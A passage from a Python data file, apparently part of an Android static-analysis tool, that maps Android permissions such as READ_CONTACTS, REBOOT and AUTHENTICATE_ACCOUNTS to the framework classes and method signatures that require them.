"Landroid/accounts/AbstractAccountAuthenticator$Transport;": [
("F", "addAccount",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)"
),
("F", "confirmCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)"
),
("F", "editProperties",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "getAccountRemovalAllowed",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)"
),
("F", "getAuthToken",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getAuthTokenLabel",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "hasFeatures",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)"
),
("F", "updateCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;": [
("F", "addAccount",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)"
),
("F", "confirmCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)"
),
("F", "editProperties",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "getAccountRemovalAllowed",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)"
),
("F", "getAuthToken",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getAuthTokenLabel",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "hasFeatures",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)"
),
("F", "updateCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
],
},
"SET_ANIMATION_SCALE": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "setAnimationScale", "(I F)"),
("F", "setAnimationScales", "([L;)"),
],
},
"GET_ACCOUNTS": {
"Landroid/accounts/AccountManager;": [
("F", "getAccounts", "()"),
("F", "getAccountsByType", "(Ljava/lang/String;)"),
("F", "getAccountsByTypeAndFeatures",
"(Ljava/lang/String; [Ljava/lang/String; [Landroid/accounts/AccountManagerCallback<android/accounts/Account[; Landroid/os/Handler;)"
),
("F", "hasFeatures",
"(Landroid/accounts/Account; [Ljava/lang/String; Landroid/accounts/AccountManagerCallback<java/lang/Boolean>; Landroid/os/Handler;)"
),
("F", "addOnAccountsUpdatedListener",
"(Landroid/accounts/OnAccountsUpdateListener; Landroid/os/Handler; B)"
),
("F", "getAccounts", "()"),
("F", "getAccountsByType", "(Ljava/lang/String;)"),
("F", "getAccountsByTypeAndFeatures",
"(Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "getAuthTokenByFeatures",
"(Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/app/Activity; Landroid/os/Bundle; Landroid/os/Bundle; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "hasFeatures",
"(Landroid/accounts/Account; [L[Ljava/lang/Strin; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
],
"Landroid/content/ContentService;": [
("F", "<init>", "(Landroid/content/Context; B)"),
("F", "main", "(Landroid/content/Context; B)"),
],
"Landroid/accounts/AccountManager$GetAuthTokenByTypeAndFeaturesTask;": [
("F", "doWork", "()"),
("F", "start", "()"),
],
"Landroid/accounts/AccountManager$AmsTask;": [
("F", "doWork", "()"),
("F", "start", "()"),
],
"Landroid/accounts/IAccountManager$Stub$Proxy;": [
("F", "getAccounts", "(Ljava/lang/String;)"),
("F", "getAccountsByFeatures",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; [L[Ljava/lang/Strin;)"
),
("F", "hasFeatures",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)"
),
],
"Landroid/accounts/AccountManagerService;": [
("F", "checkReadAccountsPermission", "()"),
("F", "getAccounts", "(Ljava/lang/String;)"),
("F", "getAccountsByFeatures",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; [L[Ljava/lang/Strin;)"
),
("F", "hasFeatures",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)"
),
],
},
"RECEIVE_SMS": {
"Landroid/telephony/gsm/SmsManager;": [
("F", "copyMessageToSim", "([L; [L; I)"),
("F", "deleteMessageFromSim", "(I)"),
("F", "getAllMessagesFromSim", "()"),
("F", "updateMessageOnSim", "(I I [L;)"),
],
"Landroid/telephony/SmsManager;": [
("F", "copyMessageToIcc", "([L; [L; I)"),
("F", "deleteMessageFromIcc", "(I)"),
("F", "getAllMessagesFromIcc", "()"),
("F", "updateMessageOnIcc", "(I I [L;)"),
],
"Lcom/android/internal/telephony/ISms$Stub$Proxy;": [
("F", "copyMessageToIccEf", "(I [B [B)"),
("F", "getAllMessagesFromIccEf", "()"),
("F", "updateMessageOnIccEf", "(I I [B)"),
],
},
"STOP_APP_SWITCHES": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "resumeAppSwitches", "()"),
("F", "stopAppSwitches", "()"),
],
},
"DELETE_CACHE_FILES": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "deleteApplicationCacheFiles",
"(Ljava/lang/String; LIPackageDataObserver;)"),
("F", "deleteApplicationCacheFiles",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "deleteApplicationCacheFiles",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "deleteApplicationCacheFiles",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
},
"WRITE_EXTERNAL_STORAGE": {
"Landroid/os/Build/VERSION_CODES;": [
("C", "DONUT", "I"),
],
"Landroid/app/DownloadManager/Request;": [
("F", "setDestinationUri", "(Landroid/net/Uri;)"),
],
},
"REBOOT": {
"Landroid/os/RecoverySystem;": [
("F", "installPackage", "(Landroid/content/Context; Ljava/io/File;)"
),
("F", "rebootWipeUserData", "(Landroid/content/Context;)"),
("F", "bootCommand",
"(Landroid/content/Context; Ljava/lang/String;)"),
("F", "installPackage", "(Landroid/content/Context; Ljava/io/File;)"
),
("F", "rebootWipeUserData", "(Landroid/content/Context;)"),
],
"Landroid/content/Intent;": [
("C", "IntentResolution", "Ljava/lang/String;"),
("C", "ACTION_REBOOT", "Ljava/lang/String;"),
],
"Landroid/os/PowerManager;": [
("F", "reboot", "(Ljava/lang/String;)"),
("F", "reboot", "(Ljava/lang/String;)"),
],
"Landroid/os/IPowerManager$Stub$Proxy;": [
("F", "crash", "(Ljava/lang/String;)"),
("F", "reboot", "(Ljava/lang/String;)"),
],
},
"INSTALL_PACKAGES": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "installPackage",
"(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)"
),
("F", "installPackage",
"(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)"
),
],
"Landroid/content/pm/PackageManager;": [
("F", "installPackage",
"(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)"
),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "installPackage",
"(Landroid/net/Uri; Landroid/content/pm/IPackageInstallObserver; I Ljava/lang/String;)"
),
],
},
"SET_DEBUG_APP": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "setDebugApp", "(Ljava/lang/String; B B)"),
],
},
"INSTALL_LOCATION_PROVIDER": {
"Landroid/location/ILocationManager$Stub$Proxy;": [
("F", "reportLocation", "(Landroid/location/Location; B)"),
],
},
"SET_WALLPAPER_HINTS": {
"Landroid/app/WallpaperManager;": [
("F", "suggestDesiredDimensions", "(I I)"),
],
"Landroid/app/IWallpaperManager$Stub$Proxy;": [
("F", "setDimensionHints", "(I I)"),
],
},
"READ_CONTACTS": {
"Landroid/app/ContextImpl$ApplicationContentResolver;": [
("F", "openFileDescriptor", "(Landroid/net/Uri; Ljava/lang/String;)"
),
("F", "openInputStream", "(Landroid/net/Uri;)"),
("F", "openOutputStream", "(Landroid/net/Uri;)"),
("F", "query",
"(Landroid/net/Uri; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)"
),
],
"Lcom/android/internal/telephony/IccPhoneBookInterfaceManager$Stub$Proxy;":
[
("F", "getAdnRecordsInEf", "(I)"),
],
"Landroid/provider/Contacts$People;": [
("F", "addToGroup",
"(Landroid/content/ContentResolver; J Ljava/lang/String;)"),
("F", "addToMyContactsGroup",
"(Landroid/content/ContentResolver; J)"),
("F", "createPersonInMyContactsGroup",
"(Landroid/content/ContentResolver; Landroid/content/ContentValues;)"
),
("F", "loadContactPhoto",
"(Landroid/content/Context; Landroid/net/Uri; I Landroid/graphics/BitmapFactory$Options;)"
),
("F", "markAsContacted", "(Landroid/content/ContentResolver; J)"),
("F", "openContactPhotoInputStream",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
("F", "queryGroups", "(Landroid/content/ContentResolver; J)"),
("F", "setPhotoData",
"(Landroid/content/ContentResolver; Landroid/net/Uri; [L;)"),
("F", "tryGetMyContactsGroupId",
"(Landroid/content/ContentResolver;)"),
],
"Landroid/provider/ContactsContract$Data;": [
("F", "getContactLookupUri",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
],
"Landroid/provider/ContactsContract$Contacts;": [
("F", "getLookupUri",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
("F", "lookupContact",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
("F", "openContactPhotoInputStream",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
],
"Landroid/pim/vcard/VCardComposer;": [
("F", "createOneEntry", "()"),
("F", "createOneEntry", "(Ljava/lang/reflect/Method;)"),
("F", "createOneEntryInternal",
"(Ljava/lang/String; Ljava/lang/reflect/Method;)"),
("F", "init", "()"),
("F", "init", "(Ljava/lang/String; [L[Ljava/lang/Strin;)"),
],
"Landroid/pim/vcard/VCardComposer$OneEntryHandler;": [
("F", "onInit", "(Landroid/content/Context;)"),
],
"Lcom/android/internal/telephony/CallerInfo;": [
("F", "getCallerId",
"(Landroid/content/Context; Ljava/lang/String;)"),
("F", "getCallerInfo",
"(Landroid/content/Context; Ljava/lang/String;)"),
],
"Landroid/provider/Contacts$Settings;": [
("F", "getSetting",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/provider/ContactsContract$RawContacts;": [
("F", "getContactLookupUri",
"(Landroid/content/ContentResolver; Landroid/net/Uri;)"),
],
"Landroid/provider/CallLog$Calls;": [
("F", "addCall",
"(Lcom/android/internal/telephony/CallerInfo; Landroid/content/Context; Ljava/lang/String; I I J I)"
),
("F", "getLastOutgoingCall", "(Landroid/content/Context;)"),
],
"Lcom/android/internal/telephony/IIccPhoneBook$Stub$Proxy;": [
("F", "getAdnRecordsInEf", "(I)"),
],
"Landroid/pim/vcard/VCardComposer$HandlerForOutputStream;": [
("F", "onInit", "(Landroid/content/Context;)"),
],
"Landroid/provider/ContactsContract$CommonDataKinds$Phone;": [
("C", "CONTENT_URI", "Landroid/net/Uri;"),
],
"Landroid/widget/QuickContactBadge;": [
("F", "assignContactFromEmail", "(Ljava/lang/String; B)"),
("F", "assignContactFromPhone", "(Ljava/lang/String; B)"),
("F", "trigger", "(Landroid/net/Uri;)"),
],
"Landroid/content/ContentResolver;": [
("F", "openFileDescriptor", "(Landroid/net/Uri; Ljava/lang/String;)"
),
("F", "openInputStream", "(Landroid/net/Uri;)"),
("F", "openOutputStream", "(Landroid/net/Uri;)"),
("F", "query",
"(Landroid/net/Uri; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)"
),
],
},
"BACKUP": {
"Landroid/app/backup/IBackupManager$Stub$Proxy;": [
("F", "backupNow", "()"),
("F", "beginRestoreSession", "(Ljava/lang/String;)"),
("F", "clearBackupData", "(Ljava/lang/String;)"),
("F", "dataChanged", "(Ljava/lang/String;)"),
("F", "getCurrentTransport", "()"),
("F", "isBackupEnabled", "()"),
("F", "listAllTransports", "()"),
("F", "selectBackupTransport", "(Ljava/lang/String;)"),
("F", "setAutoRestore", "(B)"),
("F", "setBackupEnabled", "(B)"),
],
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "bindBackupAgent", "(Landroid/content/pm/ApplicationInfo; I)"
),
],
"Landroid/app/backup/BackupManager;": [
("F", "beginRestoreSession", "()"),
("F", "dataChanged", "(Ljava/lang/String;)"),
("F", "requestRestore", "(Landroid/app/backup/RestoreObserver;)"),
],
},
}
DVM_PERMISSIONS_BY_ELEMENT = {
"Landroid/app/admin/DeviceAdminReceiver;-ACTION_DEVICE_ADMIN_ENABLED-Ljava/lang/String;":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/DevicePolicyManager;-getRemoveWarning-(Landroid/content/ComponentName; Landroid/os/RemoteCallback;)":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/DevicePolicyManager;-reportFailedPasswordAttempt-()":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/DevicePolicyManager;-reportSuccessfulPasswordAttempt-()":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/DevicePolicyManager;-setActiveAdmin-(Landroid/content/ComponentName;)":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/DevicePolicyManager;-setActivePasswordState-(I I)":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;-getRemoveWarning-(Landroid/content/ComponentName; Landroid/os/RemoteCallback;)":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;-reportFailedPasswordAttempt-()":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;-reportSuccessfulPasswordAttempt-()":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;-setActiveAdmin-(Landroid/content/ComponentName;)":
"BIND_DEVICE_ADMIN",
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;-setActivePasswordState-(I I)":
"BIND_DEVICE_ADMIN",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getIsSyncable-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getMasterSyncAutomatically-()":
"READ_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getPeriodicSyncs-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-getSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentService;-getIsSyncable-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentService;-getMasterSyncAutomatically-()":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentService;-getPeriodicSyncs-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentService;-getSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-getIsSyncable-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-getMasterSyncAutomatically-()":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-getPeriodicSyncs-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-getSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-getIsSyncable-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-getMasterSyncAutomatically-()":
"READ_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-getPeriodicSyncs-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-getSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String;)":
"READ_SYNC_SETTINGS",
"Landroid/content/pm/ApplicationInfo;-FLAG_FACTORY_TEST-I": "FACTORY_TEST",
"Landroid/content/pm/ApplicationInfo;-flags-I": "FACTORY_TEST",
"Landroid/content/Intent;-IntentResolution-Ljava/lang/String;":
"FACTORY_TEST",
"Landroid/content/Intent;-ACTION_FACTORY_TEST-Ljava/lang/String;":
"FACTORY_TEST",
"Landroid/app/IActivityManager$Stub$Proxy;-setAlwaysFinish-(B)":
"SET_ALWAYS_FINISH",
"Landroid/provider/Calendar$CalendarAlerts;-alarmExists-(Landroid/content/ContentResolver; J J J)":
"READ_CALENDAR",
"Landroid/provider/Calendar$CalendarAlerts;-findNextAlarmTime-(Landroid/content/ContentResolver; J)":
"READ_CALENDAR",
"Landroid/provider/Calendar$CalendarAlerts;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)":
"READ_CALENDAR",
"Landroid/provider/Calendar$Calendars;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)":
"READ_CALENDAR",
"Landroid/provider/Calendar$Events;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)":
"READ_CALENDAR",
"Landroid/provider/Calendar$Events;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)":
"READ_CALENDAR",
"Landroid/provider/Calendar$Instances;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; J J Ljava/lang/String; Ljava/lang/String;)":
"READ_CALENDAR",
"Landroid/provider/Calendar$Instances;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; J J)":
"READ_CALENDAR",
"Landroid/provider/Calendar$EventDays;-query-(Landroid/content/ContentResolver; I I)":
"READ_CALENDAR",
"Landroid/provider/DrmStore;-enforceAccessDrmPermission-(Landroid/content/Context;)":
"ACCESS_DRM",
"Landroid/app/IActivityManager$Stub$Proxy;-updateConfiguration-(Landroid/content/res/Configuration;)":
"CHANGE_CONFIGURATION",
"Landroid/app/IActivityManager$Stub$Proxy;-profileControl-(Ljava/lang/String; B Ljava/lang/String; Landroid/os/ParcelFileDescriptor;)":
"SET_ACTIVITY_WATCHER",
"Landroid/app/IActivityManager$Stub$Proxy;-setActivityController-(Landroid/app/IActivityController;)":
"SET_ACTIVITY_WATCHER",
"Landroid/app/ContextImpl$ApplicationPackageManager;-getPackageSizeInfo-(Ljava/lang/String; LIPackageStatsObserver;)":
"GET_PACKAGE_SIZE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-getPackageSizeInfo-(Ljava/lang/String; Landroid/content/pm/IPackageStatsObserver;)":
"GET_PACKAGE_SIZE",
"Landroid/content/pm/PackageManager;-getPackageSizeInfo-(Ljava/lang/String; Landroid/content/pm/IPackageStatsObserver;)":
"GET_PACKAGE_SIZE",
"Landroid/telephony/TelephonyManager;-disableLocationUpdates-()":
"CONTROL_LOCATION_UPDATES",
"Landroid/telephony/TelephonyManager;-enableLocationUpdates-()":
"CONTROL_LOCATION_UPDATES",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-disableLocationUpdates-()":
"CONTROL_LOCATION_UPDATES",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-enableLocationUpdates-()":
"CONTROL_LOCATION_UPDATES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-freeStorage-(J LIntentSender;)":
"CLEAR_APP_CACHE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-freeStorageAndNotify-(J LIPackageDataObserver;)":
"CLEAR_APP_CACHE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-freeStorage-(J Landroid/content/IntentSender;)":
"CLEAR_APP_CACHE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-freeStorageAndNotify-(J Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_CACHE",
"Landroid/content/pm/PackageManager;-freeStorage-(J Landroid/content/IntentSender;)":
"CLEAR_APP_CACHE",
"Landroid/content/pm/PackageManager;-freeStorageAndNotify-(J Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_CACHE",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-freeStorage-(J Landroid/content/IntentSender;)":
"CLEAR_APP_CACHE",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-freeStorageAndNotify-(J Landroid/content/pm/IPackageDataObserver;)":
"CLEAR_APP_CACHE",
"Landroid/view/inputmethod/InputMethod;-SERVICE_INTERFACE-Ljava/lang/String;":
"BIND_INPUT_METHOD",
"Landroid/app/IActivityManager$Stub$Proxy;-signalPersistentProcesses-(I)":
"SIGNAL_PERSISTENT_PROCESSES",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-getAwakeTimeBattery-()":
"BATTERY_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-getAwakeTimePlugged-()":
"BATTERY_STATS",
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;-getStatistics-()":
"BATTERY_STATS",
"Landroid/accounts/AccountManager;-addAccountExplicitly-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-getPassword-(Landroid/accounts/Account;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-getUserData-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-peekAuthToken-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setPassword-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setUserData-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-addAccountExplicitly-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-getPassword-(Landroid/accounts/Account;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-getUserData-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-peekAuthToken-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setPassword-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManager;-setUserData-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-addAccount-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-checkAuthenticateAccountsPermission-(Landroid/accounts/Account;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-getPassword-(Landroid/accounts/Account;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-getUserData-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-peekAuthToken-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-setAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-setPassword-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-setUserData-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-addAccount-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-getPassword-(Landroid/accounts/Account;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-getUserData-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-peekAuthToken-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-setAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-setPassword-(Landroid/accounts/Account; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-setUserData-(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)":
"AUTHENTICATE_ACCOUNTS",
"Landroid/net/IConnectivityManager$Stub$Proxy;-setBackgroundDataSetting-(B)":
"CHANGE_BACKGROUND_DATA_SETTING",
"Landroid/net/ConnectivityManager;-setBackgroundDataSetting-(B)":
"CHANGE_BACKGROUND_DATA_SETTING",
"Landroid/app/ActivityManagerNative;-killBackgroundProcesses-(Ljava/lang/String;)":
"RESTART_PACKAGES",
"Landroid/app/ActivityManagerNative;-restartPackage-(Ljava/lang/String;)":
"RESTART_PACKAGES",
"Landroid/app/ActivityManager;-killBackgroundProcesses-(Ljava/lang/String;)":
"RESTART_PACKAGES",
"Landroid/app/ActivityManager;-restartPackage-(Ljava/lang/String;)":
"RESTART_PACKAGES",
"Landroid/telephony/TelephonyManager;-getCompleteVoiceMailNumber-()":
"CALL_PRIVILEGED",
"Landroid/telephony/PhoneNumberUtils;-getNumberFromIntent-(Landroid/content/Intent; Landroid/content/Context;)":
"CALL_PRIVILEGED",
"Landroid/app/IWallpaperManager$Stub$Proxy;-setWallpaperComponent-(Landroid/content/ComponentName;)":
"SET_WALLPAPER_COMPONENT",
"Landroid/view/IWindowManager$Stub$Proxy;-disableKeyguard-(Landroid/os/IBinder; Ljava/lang/String;)":
"DISABLE_KEYGUARD",
"Landroid/view/IWindowManager$Stub$Proxy;-exitKeyguardSecurely-(Landroid/view/IOnKeyguardExitResult;)":
"DISABLE_KEYGUARD",
"Landroid/view/IWindowManager$Stub$Proxy;-reenableKeyguard-(Landroid/os/IBinder;)":
"DISABLE_KEYGUARD",
"Landroid/app/KeyguardManager;-exitKeyguardSecurely-(Landroid/app/KeyguardManager$OnKeyguardExitResult;)":
"DISABLE_KEYGUARD",
"Landroid/app/KeyguardManager$KeyguardLock;-disableKeyguard-()":
"DISABLE_KEYGUARD",
"Landroid/app/KeyguardManager$KeyguardLock;-reenableKeyguard-()":
"DISABLE_KEYGUARD",
"Landroid/app/ContextImpl$ApplicationPackageManager;-deletePackage-(Ljava/lang/String; LIPackageDeleteObserver; I)":
"DELETE_PACKAGES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-deletePackage-(Ljava/lang/String; LIPackageDeleteObserver; I)":
"DELETE_PACKAGES",
"Landroid/content/pm/PackageManager;-deletePackage-(Ljava/lang/String; LIPackageDeleteObserver; I)":
"DELETE_PACKAGES",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-deletePackage-(Ljava/lang/String; Landroid/content/pm/IPackageDeleteObserver; I)":
"DELETE_PACKAGES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-setApplicationEnabledSetting-(Ljava/lang/String; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-setComponentEnabledSetting-(LComponentName; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-setApplicationEnabledSetting-(Ljava/lang/String; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/app/ContextImpl$ApplicationPackageManager;-setComponentEnabledSetting-(Landroid/content/ComponentName; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
